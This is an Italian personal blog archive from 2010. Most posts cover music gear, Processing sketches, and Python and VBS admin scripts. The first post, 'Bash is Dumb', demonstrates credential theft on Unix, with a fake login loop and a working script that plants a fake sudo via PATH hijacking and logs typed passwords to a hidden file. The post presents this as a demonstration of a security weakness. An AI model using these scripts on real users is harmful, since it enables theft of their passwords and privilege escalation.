9 apr 2010

Bash is Dumb

Microsoft Windows è universalmente riconosciuto come il sistema operativo più insicuro della storia, e l'infinita quantità di sistemi attaccati con successo da software malvagio ce lo sta giornalmente a confermare. I vari Linux, Unix, e di conseguenza anche Mac, sono considerati intrinsecamente ed architetturalmente più sicuri. Ma sarà davvero così?

Prendendo spunto da qualche idea presa qua e là, ho voluto provare a vedere se il sistema è davvero così inattaccabile come si dice.

Spoofing negli anni 80
L'idea è semplice e banale, oltre che vecchia come il cucco. Come rubare le password agli utenti di *nix senza nemmeno usare tecniche di attacco brute force contro le hash degli utenti (che negli anni '80 erano accessibili a tutti)?
Più semplice che rubare caramelle ad un bambino: basta scrivere un bello script bash come il seguente:

while true; do
  clear
  echo -n Login:
  read login
  echo -n Password:
  read -s password
  echo \"$login\"; \"$password\" >> .password_rubate
  echo Sorry, please try again
done

lanciarlo in esecuzione, e spostarsi dalla postazione lasciando attiva la propria sessione.

Chiaro che tale tecnica di attacco ha delle evidenti controindicazioni: tanto per cominciare è in modalità testo ed oggi quasi tutti preferiscono la grafica; in secondo luogo un utente furbetto potrebbe facilmente accorgersi dell'inganno; in terzo luogo un amministratore lancerà un bel userdel vostroaccount, con gioia ed allegria. E' un tipico esempio di phishing (o spoofing), il classico scherzo da aula informatica universitaria.

Certo è un esempio banale, ma è interessante notare che il sistema non sta facendo nulla per proteggerci!

Spoofing Moderno
Il vecchio attacco potrebbe funzionare per davvero, ma se nessuno ne ha mai tratto grossi benefici forse una ragione c'è. Prendiamo spunto dall'esempio precedente, e saliamo (poco) di livello.

Su piattaforma *nix esistono dei programmi che richiedono l'inserimento di una password per svolgere alcune operazioni; tali programmi potrebbero richiedere la password di un utente non privilegiato, oppure dell'utente root. In questo modo si viene incentivati ad utilizzare account con privilegi limitati, e questo è bene.

Facciamo un breve controllo?

macbook-pro:~ fthiella$ echo $PATH
/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin
macbook-pro:~ fthiella$ which su
/usr/bin/su
macbook-pro:~ fthiella$ which sudo
/usr/bin/sudo

naturalmente su e sudo non sono file modificabili, e se scrivere un buon keylogger è complesso, eseguirlo senza privilegi è ancora più complicato. Vediamo se si può sfruttare qualche ingenuità della shell?

macbook-pro:~ fthiella$ touch ~/su
macbook-pro:~ fthiella$ chmod +x ~/su
macbook-pro:~ fthiella$ touch ~/sudo
macbook-pro:~ fthiella$ touch +x ~/sudo
macbook-pro:~ fthiella$ export PATH=~:$PATH
macbook-pro:~ fthiella$ which su
/Users/fthiella/su
macbook-pro:~ fthiella$ which sudo
/Users/fthiella/sudo

argh! Oppure anche questo è divertente:

macbook-pro:~ fthiella$ echo \#\!/bin/bash > ~/su
macbook-pro:~ fthiella$ echo echo Perepèperepè >> ~/su
macbook-pro:~ fthiella$ chmod +x ~/su
macbook-pro:~ fthiella$ echo \#!/bin/bash > ~/sudo
macbook-pro:~ fthiella$ echo echo Prrrrrrrrrrr >> ~/sudo
macbook-pro:~ fthiella$ chmod +x ~/sudo
macbook-pro:~ fthiella$ alias su=~/su
macbook-pro:~ fthiella$ alias sudo=~/sudo
macbook-pro:~ fthiella$ su -
Perepèperepè
macbook-pro:~ fthiella$ sudo apt-get update
Prrrrrrrrrrr

did you get the point?

Esempio
Beh supponiamo di riuscire a convincere un utente scemotto ad eseguire il seguente scriptino. Come convincerlo? Un po' di ingegneria sociale... un programma che sembra utile ma contiene qualche funzioncina non documentata... un bug di qualche applicativo (es. FireFox) anche se eseguito con privilegi limitati.

#!/bin/bash
if [[ `which sudo` == /usr/* ]]
then
  echo "echo -n \"Password:\"" > ~/sudo
  echo "read -s password" >> ~/sudo
  echo "echo \"\$password\" >> ~/.password_rubate" >> ~/sudo
  echo "echo \"\$password\" | `which su` -S \$1 \$2 \$3 \$4 \$5 \$6 \$7 \$8 \$9" >> ~/sudo
  chmod +x ~/sudo
  export PATH=~:$PATH
fi

funzionerà?

macbook-pro:~ fthiella$ echo $PATH
/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin
macbook-pro:~ fthiella$ . ./attack.sh
macbook-pro:~ fthiella$ echo $PATH
/Users/fthiella:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin
macbook-pro:~ fthiella$ cat ~/sudo
echo -n "Password:"
read -s password
echo "$password" >> ~/.steal_password
echo "$password" | /usr/bin/sudo -S $1 $2 $3 $4 $5 $6 $7 $8 $9
macbook-pro:~ fthiella$ sudo ls
Password:
è interessante notare che la richiesta di password arriva dal finto sudo, e non da quello vero. Mediante semplici impostazioni che non richiedono privilegi elevati, possiamo intercettare con gaudio le password del sistema.

Conclusioni
Gli esempi sono talmente banali che molti si domanderanno se si tratti sul serio di un problema architetturale di sicurezza. Certo per metterlo in pratica con successo ci vuole molto altro, ma un problema è difficile negare che non ci sia.

Forse impedire agli utenti di creare eseguibili nelle proprie aree aiuta molto (ma bisogna lavorare molto bene con i privilegi, e diventa un lavoro molto complesso).

Naturalmente queste tecniche non funzionano in modalità grafica, ma se la protezione non viene garantita dal sistema operativo, ho come il sospetto che qualche trucco funzionante lo si trovi comunque.

2 apr 2010

Utilizzare un pedale di espressione con il G-Major

Il G-Major è un multieffetto digitale prodotto dalla t.c. Electronic. Oggi si tratta di un modello fuori produzione, sostituito dal G-Major2, ma una decina di anni fa si è distinto per la sua trasparenza, per gli effetti di buona qualità, e per disporre di un doppio circuito di relay con cui simulare due interruttori (controllare un amplificatore valvolare via MIDI non ha prezzo).
Sfortunatamente le manopole sono come dire un tantino "delicate", anche se il buon RealMajor mi ha salvato la vita in parecchie occasioni.

Se con gli Invaders non l'ho mai sfruttato più di tanto (un filo di compressore, chorus e riverbero sui puliti; quasi zero riverbero sui crunch; poco delay sugli assoli), con i nuovissimi E-Liars invece mi serve un po' di tutto: chorus, phaser e delay, ma più spesso ancora octaver o pitch shifter. E perchè non un whammy? Anche se un po' vecchiotto il G-Major mi sembra ancora adeguato. Soltanto quando diventerò milionario grazie all'arbitrage probabilmente deciderò di sostituirlo.

Pedale di espressione

Tramite un pedale di espressione (collegabile direttamente al multieffetto) è possibile controllare uno o più parametri qualsiasi degli effetti. In alternativa, con un controller o pedaliera MIDI se ne possono pilotare fino a quattro.

Per controllare un parametro di un effetto (es. volume, pitch, mix, etc...) con un pedale di espressione (collegato direttamente al multieffetto), si può procedere così:

  • premere il tasto MOD, e scegliere M1 con la rotellina esterna;
  • assegnare M1, con la rotellina interna, a Pedal;
  • premere la rotellina interna;
  • con la rotellina esterna possiamo vedere l'elenco di tutti i parametri controllabili. Per controllare un parametro con il nostro pedale di espressione, assegniamo a questo parametro il nostro buon M1.
  • assegniamo quindi i valori MinOut (valore assegnato al parametro quando il pedale è al minimo), MidOut (valore assegnato quando il pedale è a metà), MaxOut (valore assegnato quando il pedale è al massimo)
Naturalmente con lo stesso pedale è possibile controllare più parametri diversi, anche in contemporanea, ognuno con la sua diversa curva di risposta. So far so good. Non chiedetemi come impostare più di un pedale di espressione: la mia pedaliera MIDI multi-pedale-di-espressione è defunta quando un gruppo di fan è saltato sul palco e... ma questa è un'altra storia. Ma avete visto che figata l'accordatore polifonico della t.c.electronic?

17 mar 2010

Elenco documenti Google Docs

Ed ora un bel post nel quale dimostro che, nonostante i buoni propositi, sono ancora ignorante in fatto di programmazione python e delle API di Google. Ma da qualche parte bisogna pur... continuare.

Come ottenere l'elenco dei documenti di un determinato utente?
#!/usr/bin/env python

import gdata.docs.data
import gdata.docs.client

client = gdata.docs.client.DocsClient(source='yourCo-yourAppName-v1')
client.ssl = True  # Force all API requests through HTTPS
client.http_client.debug = False  # Set to True for debugging HTTP requests
client.ClientLogin(source='yourCo-yourAppName-v1', email='email', password='password')

feed = client.GetDocList()

if not feed.entry:
    print 'No entries in feed.\n'
for entry in feed.entry:
    print '%s (%s)' % (entry.title.text.encode('UTF-8'), entry.GetDocumentType())

Naturalmente è necessario avere installato la libreria GData, scaricabile da http://code.google.com/apis/gdata/.
Il campo source può essere valorizzato con il nome del proprio applicativo - non è obbligatorio, ma è opportuno in fase di debug.

Very very easy, ma ho già qualche bella ideuzza, e questo è un buon punto di partenza!

1 mar 2010

Processing Apollo


Sono sempre rimasto affascinato dai colori degli anni '70, ma non me la sono sentita di rendere la mia casa un pochino troppo scioccante. Non adesso, insomma. Magari più avanti ci penserò.

Per ora, credo di potermi accontentare di decorare allegramente il desktop del mio computer. E quale migliore occasione per sperimentare un po' di Processing?

Per prima cosa, vediamo di ricavare i cinque colori utilizzati nella figura, ad esempio in formato RGB, e per questo basta un qualsiasi programma di grafica:

int larghezza_figura = 100;
int altezza_figura = 100;

size(larghezza_figura*5, altezza_figura);
smooth();
noStroke();

pushMatrix();
fill(110, 50, 22); // colore 1
rect(0, 0, larghezza_figura, altezza_figura);

translate(larghezza_figura, 0);
fill(226, 180, 25); // colore 2
rect(0, 0, larghezza_figura, altezza_figura);

translate(larghezza_figura, 0);
fill(220, 115, 0); // colore 3
rect(0, 0, larghezza_figura, altezza_figura);

translate(larghezza_figura, 0);
fill(197, 75, 2); // colore 4
rect(0, 0, larghezza_figura, altezza_figura);

translate(larghezza_figura, 0);
fill(131, 37, 11); // colore 5
rect(0, 0, larghezza_figura, altezza_figura);
popMatrix();

Anche se i colori non sono precisi, va bene lo stesso, ed il risultato è una combinazione molto vintage e molto calda:
Penso che ci saranno molte occasioni in cui potrò riciclarla!

E per le dimensioni dei cerchi, che vanno via via a rimpicciolirsi? La scala non è fissa, e un buon risultato si ottiene partendo da una scala di 0,85 moltiplicata di volta in volta per 0,9. Ecco un esempio:
float dim_figura = 160;
float scala = 0.85;
float varia = 0.9;

size(int(dim_figura), int(dim_figura));
smooth();
noStroke();

pushMatrix();
background(110, 50, 22); // colore sfondo

dim_figura = dim_figura*scala;

fill(226, 180, 25); // colore 2
ellipse(width/2, height/2, dim_figura, dim_figura);

fill(220, 115, 0); // colore 3
scala = scala*varia;

dim_figura = dim_figura*scala;
ellipse(width/2, height/2, dim_figura, dim_figura);

fill(197, 75, 2); // colore 4
scala = scala*varia;
dim_figura = dim_figura*scala;
ellipse(width/2, height/2, dim_figura, dim_figura);

fill(131, 37, 11); // colore 5
scala = scala*varia;
dim_figura = dim_figura*scala;
ellipse(width/2, height/2, dim_figura, dim_figura);

popMatrix();

Le proporzioni ci assomigliano, ma manca ancora qualche cosa:
Sono certo che si possa fare di meglio, ma per ora il codice finale è il seguente:
float dim_figura = 160;
float scala = 0.85;
float varia = 0.9;

size(int(dim_figura), int(dim_figura));
smooth();
noStroke();

pushMatrix();
translate(width/2,height/2);
rotate(radians(45));
background(110, 50, 22); // colore sfondo

fill(226, 180, 25); // colore 2

dim_figura = dim_figura*scala;
ellipse(0, 0, dim_figura, dim_figura);

fill(220, 115, 0); // colore 3
scala = scala*varia;

translate((dim_figura-dim_figura*scala)/2, 0);
dim_figura = dim_figura*scala;
ellipse(0, 0, dim_figura, dim_figura);

fill(197, 75, 2); // colore 4
scala = scala*varia;

translate((dim_figura-dim_figura*scala)/2, 0);
dim_figura = dim_figura*scala;
ellipse(0, 0, dim_figura, dim_figura);

fill(131, 37, 11); // colore 5

scala = scala*varia;
translate((dim_figura-dim_figura*scala)/2, 0);
dim_figura = dim_figura*scala;
ellipse(0, 0, dim_figura, dim_figura);

translate(-width/2,-height/2);
popMatrix();

e il risultato, non sembra niente male!

23 feb 2010

Gestione Collegamenti LNK tramite VBS

È un dato di fatto: i desktop dei PC aziendali sono una schifezza. Sono pieni di collegamenti, magari vecchi ed obsoleti o che puntano al percorso errato.

A volte sono pieni di collegamenti scritti con le maiuscole, o con troppi spazi, o con troppo pochi spazi, oppure capitalizzati senza un criterio logico e comprensibile.

Spesso ancora i collegamenti vengono creati sul desktop (e quindi nel profilo) di ogni singolo utente, mentre a volte se ne starebbero più felici e contenti nel profilo All Users del computer.

Come rimediare ad una situazione del genere, e dare un tocco di pulizia e professionalità ai catorci PC della nostra azienda?
Con un poco di codice VBS, naturalmente!

Casi di utilizzo
Si potrebbero voler eliminare tutti i collegamenti non più necessari, quali ad esempio \\ServerAziendale\Documenti\Incentivi\.

Oppure si potrebbero voler aggiornare dei collegamenti con un nuovo percorso (ad es. i collegamenti ad http://it.wikipedia.org potrebbero essere aggiornati alla nuova versione dell'enciclopedia all'indirizzo http://nonciclopedia.wikia.com).

In questo esempio farò molto di più!

Vado alla ricerca del collegamento ad un determinato programma (\\ServerAziendale\Programma\Start.exe) sul desktop di ogni singolo utente. Se almeno un utente dispone di questo link, li cancello tutti quanti, e ne ricreo uno solo (con il nome bello, pulito, e capitalizzato come si deve) nel desktop di All Users.

The Code
Set Start_Exe = CreateObject("System.Collections.ArrayList")

La variabile Start_Exe conterrà tutti gli eventuali link al nostro programma.
Rem *** Ricerca in tutti i profili ***

Const HKEY_LOCAL_MACHINE = &H80000002
Const HKEY_USERS         = &H80000003

strComputer = "."

Set objRegistry = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
Set ws = CreateObject("Wscript.Shell")
Set oFs = CreateObject("Scripting.FileSystemObject")

strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList"
objRegistry.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubkeys

For Each objSubkey In arrSubkeys
  strValueName = "ProfileImagePath"
  strSubPath = strKeyPath & "\" & objSubkey
  objRegistry.GetExpandedStringValue HKEY_LOCAL_MACHINE, strSubPath, strValueName, strProfile
  ScanDesktop(strProfile & "\Desktop") ' dispongo del percorso del desktop!
Next

strAllUsersDesktopPath = ws.SpecialFolders.Item("AllUsersDesktop")

rem *** se si vogliono ricreare anche i collegamenti in AllUsers già esistenti,
rem *** decommentare le seguenti righe
'ScanDesktop(strAllUsersDesktopPath)
Il codice precedente legge l'elenco dei percorsi dei profili, a partire dalla chiave HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList. Che fare se il desktop è stato redirezionato da qualche parte? Ci pensiamo un'altra volta, please!


Ed ecco il codice che ricrea i collegamenti:
Rem ***verifica se ci sono collegamenti al programma
If Start_Exe.Count > 0 Then
  Set objShtCut = ws.CreateShortcut(strAllUsersDesktopPath & "\Programma Aziendale.lnk")
  objShtCut.TargetPath = "\\ServerAziendale.dominio.dc\Programma\Start.exe"
  objShtCut.WorkingDirectory = "\\ServerAziendale.dominio.dc\Programma\"
  objShtCut.Save
  Set objShtCut = Nothing

  For Each Lnk in Start_Exe
    Set fl = oFs.GetFile(Lnk)
    fl.Delete
    Set fl = Nothing
  Next
End If

Manca niente? Manca il codice che scansiona ogni singolo Despol:

Sub ScanDesktop(profile)
  If oFs.FolderExists(profile) Then
    Set oFolder = oFs.GetFolder(profile)

    For Each oFile In oFolder.Files
    name = oFile.Name
    if len(name)>4 and UCase(right(name,4)) = ".LNK" then
      Set objShtCut = ws.CreateShortcut(profile & "\" & oFile.Name)
      Select Case UCase(objShtCut.TargetPath)
      Case "\\SERVERAZIENDALE\PROGRAMMA\START.EXE"
        Start_Exe.Add profile & "\" & oFile.Name
      Case "\\SERVERAZIENDALE.DOMINIO.DC\PROGRAMMA\START.EXE
        Start_Exe.Add profile & "\" & oFile.Name
      End Select
      Set objShtCut = Nothing
    End If
End Sub
Naturalmente nella nostra sub ScanDesktop possiamo identificare i collegamenti tramite il metodo che preferiamo.
E naturalmente, come al solito, sto allegramente ignorando molte condizioni d'errore. Ma la vita è troppo corta per la gestione adeguata degli errori. E in VBS non vi è traccia di Try Catch Finally... oppure sì?

17 feb 2010

Sostituzione stringa in un file di testo, in vbs

Va bene, so che questo codice non è proprio originale ma è stato preso qua e là dalla rete e riadattato, e so che ciò mi costerà qualche cosa in termini di - già povero - PageRank.

Ma avevo bisogno di modificare una stringa in un file di sistema all'avvio del PC. Cosa c'è di meglio di uno script VBS per fare il lavoro? E per distribuirlo, le buone vecchie policy di Active Directory vanno sempre bene:

Dim WshShell, objEnv
Dim FileContents, dFileContents
Set WshShell = WScript.CreateObject("WScript.Shell")
Set objEnv = WshShell.Environment("Process")

FileContents = GetFile(objEnv("ProgramFiles") & "\ProgrammaCattivo\Config.cfg")
dFileContents = Replace(FileContents, "StringaVecchia", "StringaNuova", 1, -1, 1)

If dFileContents <> Filecontents Then
  WriteFile objEnv("ProgramFiles") & "\ProgrammaCattivo\Config.cfg", dFileContents
End If

Function GetFile(FileName)
  Dim FS, FileStream
  Set FS = CreateObject("Scripting.FileSystemObject")
  Set FileStream = FS.OpenTextFile(FileName)
  GetFile = FileStream.ReadAll
End Function

Function WriteFile(FileName, Contents)
  Dim OutStream, FS
  Set FS = CreateObject("Scripting.FileSystemObject")
  Set OutStream = FS.OpenTextFile(FileName, 2, True)
  OutStream.Write Contents
End Function

E poi, naturalmente, è sempre utile sapere se e quando lo script è stato eseguito per davvero. Magari possiamo aggiungere anche qualche altra informazione di debug, che non fa mai male.


WshShell.RegWrite "HKLM\Software\MiaAzienda\Init_Settings_Eseguito", Now(), "REG_SZ"
WshShell.RegWrite "HKLM\Software\MiaAzienda\Init_Settings_Sostituzioni", conteggio, "REG_SZ"
etc...

Happy scripting, guys!

8 feb 2010

Motion Graphics

Bello il mondo WYSIWYG, ma devo ammettere di essere sempre rimasto affascinato dalla possibilità di scrivere un programma via codice e vederlo poi girare, dal buttare giù una pagina Web in HTML/CSS e vederla generata a video, dall'impaginare un documento con LaTeX pronto per essere compilato e stampato.

Forse non è un caso che mi sia avvicinato alla Computer Music tramite i Tracker!

E forse è per questo che mi sono affezionato al pacchetto Office: c'è qualche cosa di magico nel riempire un file di testo di dati o parole, scrivere un programma VBA che lo interpreta, e vedere che si genera a video un bel foglio Excel o un bel documento di Word od un grafico in Visio, con un livello di perfezione irraggiungibile con il solo mouse! Ehm forse sto esagerando? Ovviamente so che nessuno utilizza Office così!

Ma noto con piacere che Google, con le sue Google Documents List Data API, e tutte le altre API, sta andando nella giusta direzione...

Così, devo dire di aver trovato molto interessante l'articolo Beautiful Motion Graphics Created With Programming: Showcase, Tools and Tutorials tratto dall'ottimo Smashing Magazine. Mi si potrebbe aprire un nuovo mondo!

Tra tutti i programmi sto giocando un pochino con Processing e nel frattempo... se avrò un po' più di tempo libero ho capito a che cosa mi dovrò dedicare nella prossima vita.